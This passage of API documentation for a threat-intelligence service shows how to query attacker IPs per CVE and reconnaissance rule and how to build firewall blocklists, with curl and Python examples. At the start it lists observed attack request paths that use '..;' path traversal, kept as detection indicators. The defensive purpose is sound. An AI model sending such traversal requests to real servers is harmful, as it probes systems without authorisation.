/npm-pwg/..;/npm-admin/login.do", "first_seen": "2026-05-07T01:45:35", "last_seen": "2026-06-18T04:01:36", "nb_ips": 100 }, { "indicator_type": "http_path", "value": "GET /npm-pwg/..;/axis2-AWC/services/listServices", "first_seen": "2026-05-07T00:43:07", "last_seen": "2026-06-18T03:53:37", "nb_ips": 100 }, { "indicator_type": "http_path", "value": "POST /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall", "first_seen": "2026-05-13T23:06:32", "last_seen": "2026-06-18T03:48:26", "nb_ips": 11 } ] ``` ## Get IPs Exploiting a CVE[โ€‹](#get-ips-exploiting-a-cve "Direct link to Get IPs Exploiting a CVE") Retrieve the list of IP addresses observed exploiting a specific CVE, enriched with CTI data. TEXTCOPY ``` GET /v1/cves/{cve_id}/ips-details ``` ### Parameters[โ€‹](#parameters-3 "Direct link to Parameters") | Parameter | Type | Default | Description | | --------- | ------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------- | | `page` | integer | 1 | Page number | | `size` | integer | 50 | Items per page | | `since` | string | `14d` | Only IPs seen within this duration window. Format `` where unit is `h` (hours) or `d` (days), e.g. `24h`, `7d`. Maximum `90d`. | * cURL * Python SHCOPY ``` # Get IPs seen exploiting CVE-2024-25600 in the last 7 days curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/ips-details?page=1&size=10&since=7d' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os from crowdsec_service_api import Cves, ApiKeyAuth from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) cves_service = Cves(auth=auth) try: response = cves_service.get_cve_ips("CVE-2024-25600", page=1, size=10) for ip_item in response.items: print(ip_item.model_dump_json(indent=2)) except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` ### IP Response Fields[โ€‹](#ip-response-fields "Direct link to IP Response Fields") Each IP item includes [CTI data](https://doc.crowdsec.net/u/cti_api/taxonomy/cti_object): | Field | Type | Description | | ------------------------ | ------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `ip` | string | The IP address | | `reputation` | string | Overall reputation: `malicious`, `suspicious`, `known`, `safe` | | `ip_range` | string | The IP's network range (e.g., `70.35.192.0/20`) | | `ip_range_score` | integer | Reputation score for the IP range | | `ip_range_24` | string | The /24 subnet (null if not applicable) | | `ip_range_24_reputation` | string | Reputation of the /24 subnet | | `ip_range_24_score` | integer | Score for the /24 subnet | | `as_name` | string | Autonomous System name (e.g., `IONOS SE`) | | `as_num` | integer | Autonomous System Number | | `background_noise` | string | Background noise level: `none`, `low`, `medium`, `high` | | `background_noise_score` | integer | Numeric background noise score | | `confidence` | string | Confidence level of the intelligence: `low`, `medium`, `high` | | `location` | object | `country`, `city`, `latitude`, `longitude` | | `reverse_dns` | string | Reverse DNS hostname (null if unavailable) | | `scores` | object | CTI scores broken down by timeframe (`overall`, `last_day`, `last_week`, `last_month`), each containing `aggressiveness`, `threat`, `trust`, `anomaly`, `total` | | `classifications` | object | `classifications` (actor categories) and `false_positives` arrays | | `behaviors` | array | Observed behaviors with `name`, `label`, `description` | | `attack_details` | array | Specific attacks observed from this IP with `name`, `label`, `description` | | `mitre_techniques` | array | MITRE ATT\&CK techniques with `name`, `label`, `description` | | `cves` | array | List of CVE IDs this IP has been observed exploiting | | `target_countries` | object | Countries targeted by this IP (country code โ†’ percentage) | | `references` | array | External references | | `history` | object | `first_seen`, `last_seen`, `full_age`, `days_age` | ## Get IP Stats[โ€‹](#get-ip-stats "Direct link to Get IP Stats") Retrieve aggregated statistics about the IPs exploiting a specific CVE โ€” useful for charts and summaries without paging through every IP. TEXTCOPY ``` GET /v1/cves/{cve_id}/ips-details-stats ``` ### Parameters[โ€‹](#parameters-4 "Direct link to Parameters") | Parameter | Type | Default | Description | | --------- | ------ | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | | `since` | string | `14d` | Only count IPs seen within this duration window. Format `` where unit is `h` (hours) or `d` (days), e.g. `24h`, `7d`. Maximum `90d`. | SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/ips-details-stats?since=7d' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` The response contains a total and several facet breakdowns. Each facet is an array of `{value, count}` buckets: | Field | Type | Description | | ----------------- | ------- | ------------------------------------------------------------------- | | `total` | integer | Total number of matching IPs | | `reputation` | array | IP count by reputation (`malicious`, `suspicious`, `known`, `safe`) | | `country` | array | IP count by country (top 5) | | `as_name` | array | IP count by Autonomous System name (top 5) | | `cves` | array | IP count by CVE (top 5) | | `classifications` | array | IP count by classification (top 5) | ## Download IPs (Raw)[โ€‹](#download-ips-raw "Direct link to Download IPs (Raw)") Download a raw list of IP addresses exploiting a CVE, suitable for direct import into security tools. TEXTCOPY ``` GET /v1/cves/{cve_id}/ips-download ``` This returns a plain text list of IP addresses, one per line โ€” useful for scripting and bulk import into SIEMs or blocklists. SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/ips-download' \ -H 'x-api-key: ${KEY}' ``` ## Manage CVE Integration Subscriptions[โ€‹](#manage-cve-integration-subscriptions "Direct link to Manage CVE Integration Subscriptions") You can subscribe and unsubscribe firewall integrations to specific CVEs via the API. See [Integrations & Blocklists](https://docs.crowdsec.net/u/tracker_api/api_integrations.md) for full details on creating and managing integrations. tip For broader coverage, consider subscribing to a **vendor** instead of individual CVEs. A vendor subscription automatically covers all current and future CVEs and reconnaissance rules for that vendor's products. See [Vendor Subscriptions](https://docs.crowdsec.net/u/tracker_api/api_lookups.md#subscribe-an-integration-to-a-vendor). ### Subscribe an Integration to a CVE[โ€‹](#subscribe-an-integration-to-a-cve "Direct link to Subscribe an Integration to a CVE") TEXTCOPY ``` POST /v1/cves/{cve_id}/integrations ``` SHCOPY ``` curl -X 'POST' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{"name": "my_firewall_integration"}' ``` ### List Subscribed Integrations for a CVE[โ€‹](#list-subscribed-integrations-for-a-cve "Direct link to List Subscribed Integrations for a CVE") TEXTCOPY ``` GET /v1/cves/{cve_id}/integrations ``` ### Unsubscribe an Integration from a CVE[โ€‹](#unsubscribe-an-integration-from-a-cve "Direct link to Unsubscribe an Integration from a CVE") TEXTCOPY ``` DELETE /v1/cves/{cve_id}/integrations/{integration_name} ``` SHCOPY ``` curl -X 'DELETE' \ 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/integrations/my_firewall_integration' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` --- # Reconnaissance / Fingerprint Rules This page covers the API endpoints for **Reconnaissance rules** (called "fingerprint rules" or "fingerprints" in the API) โ€” detection patterns for product-level probing activity. See [Reconnaissance Rules vs CVEs](https://docs.crowdsec.net/u/tracker_api/fingerprints_vs_cves.md) for an explanation of the concept. Terminology The web interface calls these **Reconnaissance rules** (or "Recon Rules"). The API uses **fingerprints** in all endpoint paths and field names. They are the same thing. Fingerprint endpoints mirror the CVE endpoints: list, detail, timeline, IPs, and integration subscriptions. ## List Fingerprint Rules[โ€‹](#list-fingerprint-rules "Direct link to List Fingerprint Rules") Retrieve a paginated list of all fingerprint rules. TEXTCOPY ``` GET /v1/fingerprints ``` ### Parameters[โ€‹](#parameters "Direct link to Parameters") | Parameter | Type | Default | Description | | ------------ | ------- | ------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `page` | integer | 1 | Page number | | `size` | integer | 50 | Items per page | | `query` | string | โ€” | Free-text search across rule name, title, and affected components (e.g. `apache`) | | `sort_by` | string | `rule_release_date` | Sort field: `rule_release_date`, `trending`, `nb_ips`, `name`, `first_seen` | | `sort_order` | string | `desc` | Sort direction: `asc`, `desc` | | `detailed` | boolean | `false` | When `true`, also include the heavy detail fields (`description`, `crowdsec_analysis`, `references`, `events`, `tags`) for every rule in the list. Omitted by default to keep responses lightweight. Note: fingerprints have no `cwes` field. | * cURL * Python SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints?page=1&size=10' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os import httpx KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") headers = {"x-api-key": KEY, "accept": "application/json"} response = httpx.get( "https://admin.api.crowdsec.net/v1/fingerprints", params={"page": 1, "size": 10}, headers=headers, ) response.raise_for_status() data = response.json() for rule in data["items"]: print(f"{rule['title']}: CrowdSec Score={rule['crowdsec_score']}, IPs={rule['nb_ips']}") ``` ### Response Fields[โ€‹](#response-fields "Direct link to Response Fields") | Field | Type | Description | | --------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `id` | string | Fingerprint rule identifier (e.g., `microsoft-exchange`) | | `name` | string | Rule name | | `title` | string | Human-readable title (e.g., "Microsoft Exchange Probing") | | `affected_components` | array | Products and vendors covered by this rule | | `crowdsec_score` | integer | Composite severity score (0โ€“10) | | `opportunity_score` | integer | Attack targeting score (0โ€“5) | | `momentum_score` | integer | Trend direction score (0โ€“5) | | `exploitation_phase` | object | Current phase: `name`, `label`, `description` | | `nb_ips` | integer | Number of IPs matching this fingerprint | | `first_seen` | datetime | First observation | | `last_seen` | datetime | Most recent observation | | `rule_release_date` | datetime | When the detection rule was released | | `adjustment_score` | object | Score adjustments: `total`, `recency`, `low_info` | | `threat_context` | object | Contextual threat intelligence: `attacker_countries`, `defender_countries`, `industry_types`, `industry_risk_profiles`, `attacker_objectives`. See [Threat Context](https://docs.crowdsec.net/u/tracker_api/threat_context.md). May be `null` for rules with insufficient data. | Get detail fields in the list By default the list returns only the lightweight fields above. Pass `detailed=true` to additionally include `description`, `crowdsec_analysis`, `references`, `events`, and `tags` for every rule in a single call โ€” the same fields returned by [Get Fingerprint Rule Details](#get-fingerprint-rule-details). This avoids a follow-up request per rule, at the cost of a larger response. SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints?page=1&size=10&detailed=true' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Get Fingerprint Rule Details[โ€‹](#get-fingerprint-rule-details "Direct link to Get Fingerprint Rule Details") Returns the full detail for a fingerprint rule. In addition to all the list fields, the response includes `description`, `crowdsec_analysis`, `references`, `events`, and `tags`. These same fields can also be returned for every rule by the [list endpoint](#list-fingerprint-rules) when called with `detailed=true`. info Unlike CVE details, fingerprint details do **not** include `cvss_score`, `published_date`, `has_public_exploit`, or `cwes` โ€” these are CVE-specific fields. TEXTCOPY ``` GET /v1/fingerprints/{fingerprint} ``` * cURL * Python SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os import httpx KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") headers = {"x-api-key": KEY, "accept": "application/json"} response = httpx.get( "https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange", headers=headers, ) response.raise_for_status() print(response.json()) ``` ## Get Fingerprint Timeline[โ€‹](#get-fingerprint-timeline "Direct link to Get Fingerprint Timeline") Retrieve probing activity over time for a fingerprint rule. TEXTCOPY ``` GET /v1/fingerprints/{fingerprint}/timeline ``` ### Parameters[โ€‹](#parameters-1 "Direct link to Parameters") | Parameter | Type | Default | Description | | ------------ | ------- | ------- | -------------------------------------------------------------------------------------- | | `since_days` | integer | 7 | Time range in days: `1` (1 day), `7` (1 week), or `30` (1 month) | | `interval` | string | auto | Time bucket: `hour`, `day`, `week`. Defaults to a bucket size adapted to `since_days`. | SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/timeline?since_days=7&interval=day' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Get IPs Matching a Fingerprint[โ€‹](#get-ips-matching-a-fingerprint "Direct link to Get IPs Matching a Fingerprint") Retrieve IPs observed probing targets matching this fingerprint rule, enriched with CTI data. TEXTCOPY ``` GET /v1/fingerprints/{fingerprint}/ips-details ``` ### Parameters[โ€‹](#parameters-2 "Direct link to Parameters") | Parameter | Type | Default | Description | | --------- | ------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------- | | `page` | integer | 1 | Page number | | `size` | integer | 50 | Items per page | | `since` | string | `14d` | Only IPs seen within this duration window. Format `` where unit is `h` (hours) or `d` (days), e.g. `24h`, `7d`. Maximum `90d`. | SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/ips-details?page=1&size=10&since=7d' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` The response format is identical to [CVE IP details](https://docs.crowdsec.net/u/tracker_api/api_cves.md#ip-response-fields). ## Get IP Stats[โ€‹](#get-ip-stats "Direct link to Get IP Stats") Retrieve aggregated statistics about the IPs matching a fingerprint rule. TEXTCOPY ``` GET /v1/fingerprints/{fingerprint}/ips-details-stats ``` ### Parameters[โ€‹](#parameters-3 "Direct link to Parameters") | Parameter | Type | Default | Description | | --------- | ------ | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | | `since` | string | `14d` | Only count IPs seen within this duration window. Format `` where unit is `h` (hours) or `d` (days), e.g. `24h`, `7d`. Maximum `90d`. | SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/ips-details-stats?since=7d' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` The response format is identical to [CVE IP Stats](https://docs.crowdsec.net/u/tracker_api/api_cves.md#get-ip-stats): a `total` plus `reputation`, `country`, `as_name`, `cves`, and `classifications` facet breakdowns. ## Get Top Indicators[โ€‹](#get-top-indicators "Direct link to Get Top Indicators") Retrieve the top indicators of compromise (IOCs) observed for a fingerprint rule. Each item is tagged with its `indicator_type`. Today the only type is `http_path` โ€” the HTTP request line (` `) seen probing the matching products. TEXTCOPY ``` GET /v1/fingerprints/{fingerprint}/indicators ``` ### Parameters[โ€‹](#parameters-4 "Direct link to Parameters") | Parameter | Type | Default | Description | | ---------------- | ------ | --------- | ----------------------------------------------------------------------------------------------------------------- | | `sort_by` | string | `popular` | Ranking of the returned list: `popular` (most reported) or `most_recent` (newly discovered variations) | | `indicator_type` | string | โ€” | Restrict to one or more IOC types. Repeat the parameter to pass several. Currently only `http_path` is available. | SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/indicators?sort_by=most_recent&indicator_type=http_path' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` The response format is identical to [CVE Top Indicators](https://docs.crowdsec.net/u/tracker_api/api_cves.md#get-top-indicators): an array of `{indicator_type, value, first_seen, last_seen, nb_ips}` items. ## Download IPs (Raw)[โ€‹](#download-ips-raw "Direct link to Download IPs (Raw)") TEXTCOPY ``` GET /v1/fingerprints/{fingerprint}/ips-download ``` Returns a plain text list of IPs, one per line. SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/ips-download' \ -H 'x-api-key: ${KEY}' ``` ## Manage Fingerprint Integration Subscriptions[โ€‹](#manage-fingerprint-integration-subscriptions "Direct link to Manage Fingerprint Integration Subscriptions") tip For broader coverage, consider subscribing to a **vendor** instead of individual fingerprint rules. A vendor subscription automatically covers all current and future CVEs and reconnaissance rules for that vendor's products. See [Vendor Subscriptions](https://docs.crowdsec.net/u/tracker_api/api_lookups.md#subscribe-an-integration-to-a-vendor). ### Subscribe an Integration[โ€‹](#subscribe-an-integration "Direct link to Subscribe an Integration") TEXTCOPY ``` POST /v1/fingerprints/{fingerprint}/integrations ``` SHCOPY ``` curl -X 'POST' \ 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{"name": "my_firewall_integration"}' ``` ### List Subscribed Integrations[โ€‹](#list-subscribed-integrations "Direct link to List Subscribed Integrations") TEXTCOPY ``` GET /v1/fingerprints/{fingerprint}/integrations ``` ### Unsubscribe an Integration[โ€‹](#unsubscribe-an-integration "Direct link to Unsubscribe an Integration") TEXTCOPY ``` DELETE /v1/fingerprints/{fingerprint}/integrations/{integration_name} ``` --- # Integrations & Blocklists Integrations are the bridge between CrowdSec's threat intelligence and your security infrastructure. An integration generates a blocklist of attacker IPs that your firewall can consume. You subscribe integrations to specific CVEs, fingerprint rules, or entire vendors, and the blocklist automatically updates as new attacker IPs are observed. Vendor Subscriptions Instead of subscribing to CVEs and fingerprint rules one by one, you can subscribe an integration to a **vendor**. This automatically covers all current and future CVEs and reconnaissance rules for that vendor's products. See [Vendors, Products & Tags](https://docs.crowdsec.net/u/tracker_api/api_lookups.md#subscribe-an-integration-to-a-vendor) for details. ## Supported Output Formats[โ€‹](#supported-output-formats "Direct link to Supported Output Formats") When creating an integration, you choose an output format matching your firewall: | Format | Value | Description | | --------------------- | ----------------------- | ---------------------------------------------------------- | | Plain Text | `plain_text` | One IP per line. Universal format supported by most tools. | | F5 | `f5` | F5 BIG-IP compatible format | | FortiGate | `fortigate` | FortiGate compatible format | | Palo Alto | `paloalto` | PAN-OS compatible format | | Checkpoint | `checkpoint` | Check Point compatible format | | Cisco | `cisco` | Cisco compatible format | | Juniper | `juniper` | Juniper compatible format | | MikroTik | `mikrotik` | MikroTik compatible format | | pfSense | `pfsense` | pfSense compatible format | | OPNsense | `opnsense` | OPNsense compatible format | | Sophos | `sophos` | Sophos compatible format | | Remediation Component | `remediation_component` | CrowdSec's own remediation components | ## Create an Integration[โ€‹](#create-an-integration "Direct link to Create an Integration") TEXTCOPY ``` POST /v1/integrations ``` * cURL * Python SHCOPY ``` curl -X 'POST' \ 'https://admin.api.crowdsec.net/v1/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{ "name": "paloalto_production", "description": "Production Palo Alto firewall - CVE blocklist", "entity_type": "firewall_integration", "output_format": "paloalto" }' ``` PYCOPY ``` import os from crowdsec_service_api import ( Integrations, IntegrationCreateRequest, IntegrationType, OutputFormat, ApiKeyAuth, ) from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) integrations_service = Integrations(auth=auth) request = IntegrationCreateRequest( name="paloalto_production", description="Production Palo Alto firewall - CVE blocklist", entity_type=IntegrationType.FIREWALL_INTEGRATION.value, output_format=OutputFormat.PALOALTO.value, ) try: response = integrations_service.create_integration(request=request) print(f"Integration ID: {response.id}") print(f"Credentials: {response.credentials}") # IMPORTANT: Save the credentials securely โ€” they are only shown once! except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` warning The integration credentials (API key or username/password depending on type) are **only shown once** in the creation response. Store them securely. If you lose them, you'll need to regenerate them by updating the integration. ### Integration Types[โ€‹](#integration-types "Direct link to Integration Types") | Type | Value | Description | | --------------------- | ----------------------------------- | ------------------------------------------------- | | Firewall Integration | `firewall_integration` | For direct firewall consumption via blocklist URL | | Remediation Component | `remediation_component_integration` | For CrowdSec remediation components | ### Integration Response Fields[โ€‹](#integration-response-fields "Direct link to Integration Response Fields") | Field | Type | Description | | ----------------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | | `id` | string | Unique integration identifier | | `name` | string | Integration name | | `description` | string | Human-readable description | | `organization_id` | string | Owning organization ID | | `entity_type` | string | `firewall_integration` or `remediation_component_integration` | | `output_format` | string | Blocklist format (see table above) | | `cves` | array | CVE subscriptions (each with `id`) | | `fingerprints` | array | Fingerprint rule subscriptions | | `vendors` | array | Vendor subscriptions (each with `id`). Subscribing to a vendor automatically covers all current and future CVEs and reconnaissance rules for that vendor. | | `blocklists` | array | Blocklist subscriptions | | `endpoint` | string | URL for fetching the integration's blocklist content | | `stats` | object | Statistics including `count` (number of IPs in the blocklist) | | `tags` | array | Tags attached to the integration | | `enable_ip_aggregation` | boolean | When enabled, CrowdSec automatically aggregates adjacent IPs into network ranges where possible, reducing blocklist size | | `created_at` | datetime | Creation timestamp | | `updated_at` | datetime | Last update timestamp | ## List Integrations[โ€‹](#list-integrations "Direct link to List Integrations") TEXTCOPY ``` GET /v1/integrations ``` * cURL * Python SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os from crowdsec_service_api import Integrations, ApiKeyAuth from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) integrations_service = Integrations(auth=auth) try: response = integrations_service.get_integrations() for integration in response.items: print(f"{integration.name}: {integration.entity_type}, " f"subscriptions: {len(integration.blocklist_subscriptions or [])}") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` ## Get Integration Details[โ€‹](#get-integration-details "Direct link to Get Integration Details") TEXTCOPY ``` GET /v1/integrations/{integration_id} ``` ## Update an Integration[โ€‹](#update-an-integration "Direct link to Update an Integration") Update the name, description, output format, or regenerate credentials. TEXTCOPY ``` PATCH /v1/integrations/{integration_id} ``` * cURL * Python SHCOPY ``` curl -X 'PATCH' \ 'https://admin.api.crowdsec.net/v1/integrations/YOUR_INTEGRATION_ID' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{ "name": "paloalto_production_v2", "description": "Updated description", "regenerate_credentials": true }' ``` PYCOPY ``` import os from crowdsec_service_api import ( Integrations, IntegrationUpdateRequest, ApiKeyAuth, ) from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) integrations_service = Integrations(auth=auth) request = IntegrationUpdateRequest( name="paloalto_production_v2", regenerate_credentials=True, description="Updated description", ) try: response = integrations_service.update_integration( integration_id="YOUR_INTEGRATION_ID", request=request, ) print(f"Updated: {response.name}") if response.credentials: print(f"New credentials: {response.credentials}") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` tip Use `regenerate_credentials: true` if you need to rotate the integration's credentials. The new credentials will be returned in the response. ## Delete an Integration[โ€‹](#delete-an-integration "Direct link to Delete an Integration") TEXTCOPY ``` DELETE /v1/integrations/{integration_id} ``` * cURL * Python SHCOPY ``` # Force delete even if integration has active subscriptions curl -X 'DELETE' \ 'https://admin.api.crowdsec.net/v1/integrations/YOUR_INTEGRATION_ID?force=true' \ -H 'accept: */*' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os from crowdsec_service_api import Integrations, ApiKeyAuth from httpx import HTTPStatusError KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") auth = ApiKeyAuth(api_key=KEY) integrations_service = Integrations(auth=auth) try: integrations_service.delete_integration(integration_id="YOUR_INTEGRATION_ID") print("Integration deleted.") except HTTPStatusError as e: print(f"Error: {e.response.status_code} - {e.response.text}") ``` Use the `force=true` query parameter to delete an integration even if it has active CVE, fingerprint, or vendor subscriptions. ## Get Integration Content (Blocklist)[โ€‹](#get-integration-content-blocklist "Direct link to Get Integration Content (Blocklist)") Retrieve the actual blocklist content that a firewall would consume. TEXTCOPY ``` GET /v1/integrations/{integration_id}/content ``` This returns the blocklist in the format specified when the integration was created (plain text, PAN-OS format, etc.). You can also check if an integration has content without downloading it: TEXTCOPY ``` HEAD /v1/integrations/{integration_id}/content ``` Returns `200` if content is available, `204` if the integration has no subscriptions or no content. ## Streaming Content (Remediation Components)[โ€‹](#streaming-content-remediation-components "Direct link to Streaming Content (Remediation Components)") For CrowdSec remediation components, a streaming endpoint is available: TEXTCOPY ``` GET /v1/integrations/{integration_id}/v1/decisions/stream ``` This is compatible with CrowdSec's remediation component protocol. ## End-to-End Workflow[โ€‹](#end-to-end-workflow "Direct link to End-to-End Workflow") Here's a complete example: create an integration, subscribe it to a vendor, a CVE, and a fingerprint rule, and verify the blocklist. SHCOPY ``` # 1. Create a plain text integration curl -X 'POST' 'https://admin.api.crowdsec.net/v1/integrations' \ -H 'x-api-key: ${KEY}' -H 'Content-Type: application/json' \ -d '{"name": "demo_blocklist", "description": "Demo", "entity_type": "firewall_integration", "output_format": "plain_text"}' # 2. Subscribe to a vendor (covers all current and future CVEs + recon rules for that vendor) curl -X 'POST' 'https://admin.api.crowdsec.net/v1/vendors/Microsoft/integrations' \ -H 'x-api-key: ${KEY}' -H 'Content-Type: application/json' \ -d '{"name": "demo_blocklist"}' # 3. Subscribe to an additional individual CVE (for a vendor you haven't subscribed to) curl -X 'POST' 'https://admin.api.crowdsec.net/v1/cves/CVE-2024-25600/integrations' \ -H 'x-api-key: ${KEY}' -H 'Content-Type: application/json' \ -d '{"name": "demo_blocklist"}' # 4. Subscribe to an additional fingerprint rule curl -X 'POST' 'https://admin.api.crowdsec.net/v1/fingerprints/microsoft-exchange/integrations' \ -H 'x-api-key: ${KEY}' -H 'Content-Type: application/json' \ -d '{"name": "demo_blocklist"}' # 5. Fetch the blocklist (using integration credentials) curl 'https://admin.api.crowdsec.net/v1/integrations/INTEGRATION_ID/content' \ -H 'x-api-key: INTEGRATION_API_KEY' ``` tip Vendor subscriptions are the simplest way to get broad coverage. Subscribe to the vendors in your technology stack, then add individual CVE or fingerprint subscriptions only for threats outside those vendors. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Once your integration is created and subscribed, configure your firewall to fetch the blocklist URL at regular intervals. See the [CrowdSec Integrations documentation](https://docs.crowdsec.net/u/integrations/intro) for vendor-specific setup guides. --- # Vendors, Products & Tags The Live Exploit Tracker provides lookup endpoints to explore the coverage landscape. These help answer questions like "what WordPress vulnerabilities are being tracked?", "which Citrix products are covered?", or "what enterprise software threats should I monitor?" ## Tags[โ€‹](#tags "Direct link to Tags") Tags are technology categories applied to CVEs and fingerprint rules (e.g., `wordpress`, `cms`, `enterprise_software`, `file_sharing`). ### List All Tags[โ€‹](#list-all-tags "Direct link to List All Tags") TEXTCOPY ``` GET /v1/tags ``` * cURL * Python SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/tags' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` PYCOPY ``` import os import httpx KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") headers = {"x-api-key": KEY, "accept": "application/json"} response = httpx.get("https://admin.api.crowdsec.net/v1/tags", headers=headers) response.raise_for_status() for tag in response.json()["items"]: print(f"{tag['value']}: {tag['nb_cves']} CVEs, {tag['nb_fingerprints']} fingerprints, " f"{tag['nb_ips_cves'] + tag['nb_ips_fingerprints']} total IPs") ``` Each tag includes: | Field | Type | Description | | --------------------- | -------- | --------------------------------------------------------- | | `value` | string | Tag name | | `nb_cves` | integer | Number of CVEs with this tag | | `nb_fingerprints` | integer | Number of fingerprint rules with this tag | | `nb_ips_cves` | integer | Total attacker IPs across CVEs with this tag | | `nb_ips_fingerprints` | integer | Total attacker IPs across fingerprint rules with this tag | | `latest_rule_release` | datetime | Most recent detection rule release for this tag | ### Get Tag Impact[โ€‹](#get-tag-impact "Direct link to Get Tag Impact") View all CVEs and fingerprint rules associated with a specific tag: TEXTCOPY ``` GET /v1/tags/{tag} ``` SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/tags/wordpress' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ## Vendors[โ€‹](#vendors "Direct link to Vendors") Vendors are the organizations responsible for the affected software (e.g., Microsoft, Citrix, WordPress). ### List All Vendors[โ€‹](#list-all-vendors "Direct link to List All Vendors") TEXTCOPY ``` GET /v1/vendors ``` SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/vendors?page=1&size=20' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` Each vendor includes the same statistics as tags: number of CVEs, fingerprint rules, and attacker IPs. ### Get Vendor Impact[โ€‹](#get-vendor-impact "Direct link to Get Vendor Impact") View all CVEs and fingerprint rules affecting a specific vendor's products: TEXTCOPY ``` GET /v1/vendors/{vendor} ``` SHCOPY ``` curl -X 'GET' \ 'https://admin.api.crowdsec.net/v1/vendors/Microsoft' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' ``` ### Subscribe an Integration to a Vendor[โ€‹](#subscribe-an-integration-to-a-vendor "Direct link to Subscribe an Integration to a Vendor") Subscribing an integration to a vendor automatically covers **all current and future CVEs and reconnaissance rules** for that vendor's products. When a new CVE or reconnaissance rule is added for the vendor, the integration's blocklist is updated automatically โ€” no action needed on your part. TEXTCOPY ``` POST /v1/vendors/{vendor}/integrations ``` * cURL * Python SHCOPY ``` curl -X 'POST' \ 'https://admin.api.crowdsec.net/v1/vendors/Microsoft/integrations' \ -H 'accept: application/json' \ -H 'x-api-key: ${KEY}' \ -H 'Content-Type: application/json' \ -d '{"name": "production_firewall"}' ``` PYCOPY ``` import os import httpx KEY = os.getenv("CROWDSEC_SERVICE_API_KEY") headers = {"x-api-key": KEY, "accept": "application/json", "Content-Type": "application/json"} response = httpx.post( "https://admin.api.crowdsec.net/v1/vendors/Microsoft/integrations", headers=headers, json={"name": "production_firewall"}, ) response.raise_for_status() print("Subscribed to Microsoft") ``` tip Vendor subscriptions are the simplest way to get broad coverage for your technology stack. Subscribe to the vendors you rely on, and you'll automatically be protected against all tracked threats for their 